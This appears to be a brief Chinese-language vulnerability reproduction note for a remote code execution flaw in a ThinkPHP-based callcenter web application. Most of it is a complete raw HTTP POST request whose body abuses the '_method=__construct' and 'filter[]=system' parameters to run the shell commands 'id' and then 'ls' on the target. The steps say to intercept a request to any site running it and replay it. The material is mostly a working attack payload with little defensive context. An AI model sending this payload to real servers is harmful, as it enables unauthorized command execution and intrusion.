1.找到一个网站输入并抓包
2.将抓包的内容替换成
POST /callcenter/public/index.php/index.php?s=index/index/index HTTP/1.1
Host: XXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-type: application/x-www-form-urlencoded
Cache-Control: no-cache
Pragma: no-cache
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 52
s=id&_method=__construct&method=POST&filter[]=system
并保留原本的host地址,并发送到重放器
3.将id改为ls及发现出现了漏洞,漏洞复现成功